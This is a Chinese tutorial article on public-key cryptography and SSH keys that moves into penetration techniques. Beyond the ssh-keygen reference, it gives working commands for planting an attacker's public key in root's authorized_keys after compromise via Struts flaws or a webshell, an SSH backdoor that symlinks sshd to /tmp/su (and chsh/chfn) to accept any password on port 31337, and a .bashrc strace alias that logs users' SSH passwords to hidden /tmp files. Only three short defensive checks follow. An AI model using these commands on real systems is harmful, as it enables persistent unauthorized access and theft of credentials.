密码安全系列文章9:利用服务器公钥直接登录服务器

密码安全系列文章9:利用服务器公钥直接登录服务器

首页休闲益智2048侵略者更新时间:2024-05-11


9.1公私钥简介

1.公钥和私钥的概念

在现代密码体制中加密和解密是采用不同的密钥(公开密钥),也就是公开密钥算法(也叫非对称算法、双钥算法)”,每个通信方均需要两个密钥,即公钥和私钥,这两把密钥可以互为加解密。公钥是公开的,不需要保密,而私钥是由个人自己持有,并且必须妥善保管和注意保密。

2.公钥和私钥使用原则

(1)一个公钥对应一个私钥。

(2)密钥对中,让大家都知道的是公钥,不告诉大家,只有自己知道的,是私钥。

(3)如果用其中一个密钥加密数据,则只有对应的那个密钥才可以解密。

(4)如果用其中一个密钥可以进行解密数据,则该数据必然是对应的那个密钥进行的加密。

(5)非对称密钥密码的主要应用就是公钥加密和公钥认证,而公钥加密的过程和公钥认证的过程是不一样的

3.基于公开密钥的加密过程

比如有两个用户Alice和Bob,Alice想把一段明文通过双钥加密的技术发送给Bob,Bob有一对公钥和私钥,那么加密解密的过程如下:

(1)Bob将他的公开密钥传送给Alice。

(2)Alice用Bob的公开密钥加密她的消息,然后传送给Bob。

(3)Bob用他的私人密钥解密Alice的消息。

4.基于公开密钥的认证过程

身份认证和加密就不同了,主要用户鉴别用户的真伪。这里我们只要能够鉴别一个用户的私钥是正确的,就可以鉴别这个用户的真伪。还是Alice和Bob这两个用户,Alice想让Bob知道自己是真实的Alice,而不是假冒的,因此 Alice只要使用公钥密码学对文件签名发送给Bob,Bob使用Alice的公钥对文件进行解密,如果可以解密成功,则证明Alice的私钥是正确的,因而就完成了对Alice的身份鉴别。整个身份认证的过程如下:

(1)Alice用她的私人密钥对文件加密,从而对文件签名。

(2)Alice将签名的文件传送给Bob。

(3)Bob用Alice的公钥解密文件,从而验证签名。

5.公钥、私钥、证书的生成

(1)一个HTTPS服务器首先创建他自己的密钥对(key pair),包含公钥和私钥。

(2)通过网络把他的公钥送到CA中心,公钥中包含了个人鉴别信息(他的名字、地址、所用设备的序列号等等)。

(3)CA中心创建并签署一个包含公钥及个人信息的证书,从而保证密钥的确实性。

(4)使用该证书的人可以通过检验CA中心的签名(检验CA签名需要CA的公钥)来验证证书的确实性。

6.公钥、私钥、证书的使用

在HTTPS协议的握手阶段是公钥、私钥、证书的典型使用场景。HTTPS握手的典型时序图如下:

上图中实线部分是必须的,虚线部分是可选的。该流程完成了两个任务:服务器身份的验证、加密传输对称加密密钥。

(1)client hello和 server hello表示双方要建立一个加密会话。

(2)服务器把数字证书传输给客户端,证书中包含服务器公钥,客户端用公钥解析证书中的数字签名,可以验证服务器的身份。

(3)Server Hello Done表示hello 流程结束。

(4)客户端生成一个对称加密密钥,用于实际数据的加密传输,并用服务器的公钥加密,把对生成的密钥传递给服务器。同时携带一个用刚刚生成的加密密钥加密的“client finished”。

(5)服务器收到对称加密密钥,并尝试用该密钥解密加密字段,如能得到明文“client finished”,认为该密钥有效,可以用于之后的数据加密传输。同时用该密钥加密“server finished”,传递给客户端。

(6)客户端用对称机密密钥解密,如能得到明文“server finished”,客户端认为该服务器已经正确的接收到对称密钥。

(7)加密数据传输开始。

虚线部分是服务器端要求验证客户身份。

9.2使用ssh-keygen生成公私钥

1. ssh-keygen使用参数介绍

ssh-keygen其官方定义为生成、管理和转换认证密钥,使用“man ssh-keygen”可以获取其详细的使用帮助信息。

(1)原始参数

ssh-keygen [-q] [-b bits] [-t DSA | ecdsa | ed25519 | RSA | rsa1] [-N new_passphrase]

[-C comment] [-f output_keyfile]

ssh-keygen -p [-P old_passphrase] [-N new_passphrase] [-f keyfile]

ssh-keygen -i [-m key_format] [-f input_keyfile]

ssh-keygen -e [-m key_format] [-f input_keyfile]

ssh-keygen -y [-f input_keyfile]

ssh-keygen -c [-P passphrase] [-C comment] [-f keyfile]

ssh-keygen -l [-v] [-E fingerprint_hash] [-f input_keyfile]

ssh-keygen -B [-f input_keyfile]

ssh-keygen -D pkcs11

ssh-keygen -F hostname [-f known_hosts_file] [-l]

ssh-keygen -H [-f known_hosts_file]

ssh-keygen -R hostname [-f known_hosts_file]

ssh-keygen -r hostname [-f input_keyfile] [-g]

ssh-keygen -G output_file [-v] [-b bits] [-M memory] [-S start_point]

ssh-keygen -T output_file -f input_file [-v] [-a rounds] [-J num_lines] [-j start_line]

[-K checkpt] [-W generator]

ssh-keygen -s ca_key -I certificate_identity [-h] [-n principals] [-O option]

[-V validity_interval] [-z serial_number] file ...

ssh-keygen -L [-f input_keyfile]

ssh-keygen -A

ssh-keygen -k -f krl_file [-u] [-s ca_public] [-z version_number] file ...

ssh-keygen -Q -f krl_file file ...

2.参数解读

-B 显示指定的公钥/私钥文件的 bubblebabble 摘要

-b bits 指定生成密钥的长度。对于RSA密钥,最小要求1024位,默认是2048位。一般来讲2048位是认为足够的。DSA密钥必须恰好是1024位(FIPS 186-2标准的要求)。ECDSA密钥,-b 标志将会从256、384、521位中进行选择。例如生成384位的ECDSA密钥:ssh-keygen -t ECDSA -b 384

-C comment 提供一个新注释

-c 要求修改私钥和公钥文件中的注释。本选项只支持 RSA1 密钥和保存为新OpenSSH格式的密钥。程序将提示输入私钥文件名、密语(如果存在)、新注释。

-D pkcs11 下载PKCS#11接口的RSA公钥,旧参数是reader,下载存储在智能卡 reader 里的 RSA 公钥。

-E 指纹哈希算法,指定显示的指纹算法,默认是sha256,可以指定为md5或者sha256(ssh-keygen -E md5指定md5指纹算法)

-e 读取OpenSSH的私钥或公钥文件,并默认以RFC4716 SSH 公钥文件格式在 控制台上显示出来,可以配合-m参数使用。该选项能够为多种商业版本的SSH输出密钥。

-m 私钥格式 为i(导入)或e(导出)转换选项指定密钥格式,支持格式: “RFC4716” (RFC 4716/SSH2 公钥和私钥)、“PKCS8” (PEM PKCS8 公钥) 或者 “PEM” (PEM 公钥),缺省“RFC4716”格式,例如ssh-keygen -e -m RFC4716

-F 主机名 在known_hosts文件中搜索指定的hostname,并列出所有的匹配项。 这个选项主要用于查找散列过的主机名/ip地址,还可以和“-H”选项联用打印找到的公钥的散列值。

-f filename 指定密钥文件名

-G output_file 为DH-GEX产生候选素数。这些素数必须在使用之前使用“-T”选项进行安全检查。

-g 在使用“-r”命令打印指纹资源记录的时候使用通用的DNS格式

-H 对known_hosts 文件进行散列计算。这将把文件中的所有主机名/ip地址替换为相应的散列值。原来文件的内容将会添加一个".old"后缀后保存。这些散列值只能被 ssh 和 sshd 使用。这个选项不会修改已经经过散列的主机名/ip地址,因此可以在部分公钥已经散列过的文件上安全使用。

-h 在签署密钥时,创建主机证书而不是用户证书。

-i 读取未加密的SSH-2兼容的通过-m选择指定格式的私钥/公钥文件,然后在 stdout 显示OpenSSH兼容的私钥/公钥,该选项主要用于从多种商业版本的SSH中导入密钥。

-J num_lines 使用“-T”选项执行DH候选筛选后筛选指定行数之后退出。

-j start_line 使用-T选项执行DH候选筛选时,在指定行号开始筛选。

-K checkpt 当使用-T选项执行DH筛选处理checkpt文件的最后一行。这将用于跳过已重新处理的输入文件中已经处理过的行。

-k 生成KRL文件。 在这个模式中,通过“-f”标志每一个密钥或证书撤销命令行上ssh-keygen将在指定的位置产生一个krl文件 ,要撤消的键/证书可以由公钥文件指定,也可以使用键撤销列表部分中描述的格式。

-L 打印一个或多个证书的内容

-I 显示公钥文件的指纹数据。它也支持 RSA1 的私钥。对于RSA和DSA密钥,将会寻找对应的公钥文件,然后显示其指纹数据。

-M memory 指定在生成 DH-GEXS 候选素数的时候最大内存用量(MB)。

-N new_passphrase 提供一个新的密语。

-n principals 指定一个或多个主体(用户或主机名),以便在签署密钥时将其包含在证书中。可以指定多个主体,用逗号分隔。详情请参阅证书部分。

-O option在签名密钥时指定证书选项。可以多次指定此选项。详情请参阅证书部分。对用户证书有效的选项是:

clear 清除所启用的权限。这对于清除默认的权限集非常有用,因此可以单独添加权限。

force-command=command 强制执行命令,而不是当证书用于身份验证时由用户指定的任何shell或命令。

no-agent-forwarding 禁用SSH代理转发(默认值是允许的)。

no-port-forwarding 禁用端口转发(默认值是允许的)

no-pty 禁用PTY分配(默认允许)。

no-user-rc 禁用通过sshd执行~/.ssh/rc(默认允许)。

no-x11-forwarding 禁用X11转发(默认允许)。

permit-agent-forwarding 允许ssh-agent转发

permit-port-forwarding 允许端口转发

permit-pty 允许PTY分配.

permit-user-rc允许通过sshd执行~/.ssh/rc

permit-x11-forwarding 允许X11转发

source-address=address_list限制被认为有效的证书的源地址。address_list是逗号分隔的一个或多个CIDR格式的地址/掩码。

-o ssh-keygen使用新的OpenSSH格式而不是更兼容PEM格式保存私钥。新的格式增加了抗暴力破解密码破解但不支持OpenSSH6.5的版本。Ed25519总是使用新的密钥格式。

-P passphrase提供(旧)密语

-p 要求改变某私钥文件的密语而不重建私钥。程序将提示输入私钥文件名、原来的密语、以及两次输入新密语。

-Q 在KRL里面测试是否取消了证书

-q ssh-keygen安静模式.

-R hostname从 known_hosts 文件中删除所有属于 hostname 的密钥。这个选项主要用于删除经过散列的主机(参见 -H 选项)的密钥。

-r hostname 打印名为 hostname 的公钥文件的 SSHFP 指纹资源记录。

-S start 指定在生成 DH-GEX 候选模数时的起始点(16进制)。

-s ca_key 使用指定的CA证书验证(签名)公钥,详情请参阅证书部分。

-T output_file测试 Diffie-Hellman group exchange 候选素数(由 -G 选项生成)的安全性。

-t dsa | ecdsa | ed25519 | rsa | rsa1 指定要创建的密钥类型。可以使用 SSH-1的rsa1 ,SSH-2版本的dsa, ecdsa, ed25519和 rsa

-u 更新一个KRL

-V validity_interval 在签署证书时指定有效间隔。

-v 详细模式。ssh-keygen 将会输出处理过程的详细调试信息。常用于调试模数的产生过程。重复使用多个 -v 选项将会增加信息的详细程度(最大3次)。

-W generator 指定在为 DH-GEX 测试候选模数时想要使用的 generator

-y 读取OpenSSH专有格式的公钥文件,并将OpenSSH公钥显示在标准输出上。

-z serial_number 指定要嵌入到证书中的序列号,以便将该证书与其他证书从同一CA中区分。默认序列号为0。当产生一个KRL,- Z标记用于指定KRL版本号。

2.使用ssh-keygen生成密钥的相关理论知识

一般说来,如果用户希望使用RSA或DSA认证,那么至少应该运行一次ssh-keygen程序,在~/.ssh/identity、~/.ssh/id_dsa或~/.ssh/id_rsa文件中创建认证所需的密钥。 另外,系统管理员还可以用它产生主机密钥。 通常,这个程序产生一个密钥对,并要求指定一个文件存放私钥,同时将公钥存放在附加了".pub"后缀的同名文件中。 程序同时要求输入一个密语字符串(passphrase),空表示没有密语(主机密钥的密语必须为空)。 密语和口令(password)非常相似,但是密语可以是一句话,里面有单词、标点符号、数字、空格或任何你想要的字符。 好的密语要30个以上的字符,难以猜出,由大小写字母、数字、非字母混合组成。密语可以用“-p”选项修改。丢失的密语不可恢复。如果丢失或忘记了密语,用户必须产生新的密钥,然后把相应的公钥分发到其他机器上去。 RSA1的密钥文件中有一个"注释"字段,可以方便用户标识这个密钥,指出密钥的用途或其他有用的信息。创建密钥的时候,注释域初始化为"user@host",以后可以用 -c 选项修改。生成过程分为两步:

首先,使用一个快速且消耗内存较多的方法生成一些候选素数。然后,对这些素数进行适应性测试(消耗CPU较多)。 可以使用-G选项生成候选素数,同时使用-b选项制定其位数。例如:# ssh-keygen -G moduli-2048.candidates -b 2048

默认将从指定位数范围内的一个随机点开始搜索素数,不过可以使用 -S 选项来指定这个随机点(16进制)。生成一组候选数之后,接下来就需要使用-T选项进行适应性测试。 此时ssh-keygen将会从stdin读取候选素数(或者通过-f选项读取一个文件),例如:

# ssh-keygen -T moduli-2048 -f moduli-2048.candidates

每个候选素数默认都要通过 100个基本测试(可以通过-a选项修改)。

DH generator 的值会自动选择,但是你也可以通过-W选项强制指定。有效的值可以是:2, 3, 5。经过筛选之后的 DH groups 就可以存放到/etc/ssh/moduli里面了。很重要的一点是这个文件必须包括不同长度范围的模数,而且通信双方双方共享相同的模数。

~/.ssh/identity 该用户默认的 RSA1 身份认证私钥(SSH-1)。此文件的权限应当至少限制为"600"。生成密钥的时候可以指定采用密语来加密该私钥(3DES)。将在登录的时候读取这个文件。

~/.ssh/identity.pub 该用户默认的RSA1身份认证公钥(SSH-1)。此文件无需保密。此文件的内容应该添加到所有RSA1目标主机的~/.ssh/authorized_keys文件中。

~/.ssh/id_dsa该用户默认的DSA身份认证私钥(SSH-2)。此文件的权限应当至少限制为"600"。 生成密钥的时候可以指定采用密语来加密该私钥(3DES)。将在登录的时候读取这个文件。

~/.ssh/id_dsa.pub该用户默认的DSA身份认证公钥(SSH-2)。此文件无需保密。 此文件的内容应该添加到所有 DSA 目标主机的 ~/.ssh/authorized_keys 文件中。

~/.ssh/id_rsa 该用户默认的 RSA 身份认证私钥(SSH-2)。此文件的权限应当至少限制为"600"。生成密钥的时候可以指定采用密语来加密该私钥(3DES)。将在登录的时候读取这个文件。

~/.ssh/id_rsa.pub该用户默认的 RSA 身份认证公钥(SSH-2)。此文件无需保密。 此文件的内容应该添加到所有 RSA 目标主机的 ~/.ssh/authorized_keys 文件中。

3.生成rsa公私钥密钥对

在本机使用命令执行ssh-keygen -t rsa,将会生成id_rsa和id_rsa.pub公私钥文件。

ssh-keygen -t dsa 将会生成 id_dsa和id_dsa.pub公私钥文件

ssh-keygen -t ecdsa 将会生成 id_ecdsa和id_ecdsa.pub公私钥文件

ssh-keygen -t ed25519 将会生成id_ed25519和id_ed25519.pub公私钥文件

9.3渗透之公钥利用

ssh免密码登录是利用ssh-keygen命令生成公钥和私钥,将公钥复制到对方服务器/root/.ssh或者/home/username/.ssh目录下的authorized_keys,同时设置authorized_keys文件权限为600,.ssh文件夹权限为700,在登录是直接输入对方服务器IP地址进行登录。

环境配置情况如下:

服务器A的IP地址为:192.168.157.133,主机名称kali2016

服务器B的IP地址为:192.168.157.131,主机名称kali2017

1.单一服务器免登录

条件:服务器A(kali2016)免密码登录服务器B(kali2017)

(1)服务器B执行命令

cd /root/

mkdir .ssh

(2)服务器A执行命令

ssh-keygen -t rsa

scp /root/.ssh/id_rsa.pub root@192.168.157.131:/root/.ssh/authorized_keys

(3)服务器B执行命令

chmod 600 /root/.ssh/authorized_keys

chmod 700 -R /root/.ssh

(4)服务器A上直接登录服务器B执行命令

ssh root@192.168.157.131 或者ssh 192.168.157.131

2.服务器相互登录

(1)分别在A和B服务器上执行ssh-keygen -t rsa

(2)将A和B服务器上面的公钥文件id_rsa.pub生成到authorized_keys

A服务器上执行复制公钥到B服务器上操作:

scp /root/.ssh/id_rsa.pub root@192.168.157.131:/root/.ssh/authorized_keys

B服务器上执行复制公钥到A服务器上操作

scp /root/.ssh/id_rsa.pub root@192.168.157.133:/root/.ssh/authorized_keys

(3)分别在A和B服务器上设置目录及文件权限

chmod 600 /root/.ssh/authorized_keys

chmod 700 -R /root/.ssh

(4)服务器B和服务器A相互间免密码登录。

3.通过structs等漏洞或者通过提权获取root权限情况下则可以:

(1)通过工具软件或者webshell将本地的id_rsa.pub复制到192.168.157.133服务器上,并将该文件重命名或者cat到authorized_keys。

(2)cat id_rsa.pub>>/root/.ssh/authorized_keys,如果没有创建.ssh文件夹,则需要先行创建。其它步骤跟上面相同。

4.使用ssh-copy-id命令复制公钥到服务器

ssh-copy-id命令可以把本地主机的公钥复制到远程主机的authorized_keys文件上,ssh-copy-id命令也会给远程主机的用户主目录(home)、~/.ssh和~/.ssh/authorized_keys设置合适的权限,其前提条件是知道双方服务器的root或者其它账号密码,其命令格式如下:

ssh-copy-id -i ~/.ssh/id_rsa.pub user@server

(1)在服务器A上将公钥复制到服务器B上:

ssh-copy-id -i /root/.ssh/id_rsa.pub root@192.168.157.131

(2)在服务器B上将公钥复制到服务器A上

ssh-copy-id -i /root/.ssh/id_rsa.pub root@192.168.157.133

执行效果如图1所示,需要确认是否输入,输入yes,然后输入登录服务器的对应账号密码,即可将本地服务器的公钥上传到对方服务器上。

图1使用ssh-copy-id命令复制公钥文件到服务器

(3)ssh root@192.168.157.133或者ssh root@192.168.157.131直接免密码登录服务器,如图2所示,不需要输入密码直接登录服务器。

图2免密码登录服务器

5.设定客户端连接使用的ssh私钥和公钥

vim /etc/ssh/sshd_config

找到

# IdentityFile ~/.ssh/identity

# IdentityFile ~/.ssh/id_rsa

# IdentityFile ~/.ssh/id_dsa

把前面#去掉,然后在 IdentityFile 后填写你用来执行ssh时所用的密钥。

9.4渗透之SSH后门

1.SSH免密码登录之后门

通过渗透得到shell后,对方防火墙没限制,想快速开放一个可以访问的SSH端口,用户名为root、bin、ftp和mail,并以任意密码登录:

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337;

例如在192.168.157.133上执行

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337;

登录192.168.157.133执行以下命令,如图3所示。

ssh root@192.168.157.133

ssh bin@192.168.157.133

ssh ftp@192.168.157.133

ssh mail@192.168.157.133

图3免密码登录ssh后门

2.ssh免密码后门登录注意事项

(1)Linux软连接ssh后门需要ssh配置允许PAM认证才能使用

(2)如果被控主机不允许root登陆可用其他已存在用户登陆

(3)通过软连接的方式,实质上PAM认证是通过软连接的文件名(如:/tmp/su,/home/su)在/etc/pam.d/目录下寻找对应的PAM配置文件(如:/etc/pam.d/su)

(4)任意密码登陆的核心是auth sufficient pam_rootok.so,只要PAM配置文件中包含此配置即可SSH任意密码登陆,实践表明,可成功利用的PAM配置文件除了su还有chsh、chfn,执行命令find ./ |xargs grep "pam_rootok"获取。同类的还有chsh和chfn也可以建立ssh后门:

ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oport=12346

ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oport=12347

3.strace记录ssh密码

apt-get install strace

vi ~/.bashrc

在其中加入

alias ssh='strace -o /tmp/.sshpwd-`date ' %d%h%m%s'`.log -s 2048 ssh'

通过查看/tmp/的log文件来获取记录的密码:

cat .sshpwd-17May051494975433.log | egrep "(read\(4).*\)"

9.5安全防范

1.对/root/.ssh/authorized_keys或者/home/user/.ssh/authorized_keys文件进行检查,非管理员或者本机用户即为入侵者留下的。

2.对known_hosts文件进行时间和内容检查

3.查看.ssh目录下的文件生成时间和文件内容。

原创图书:

查看全文
大家还看了
也许喜欢
更多游戏

Copyright © 2024 妖气游戏网 www.17u1u.com All Rights Reserved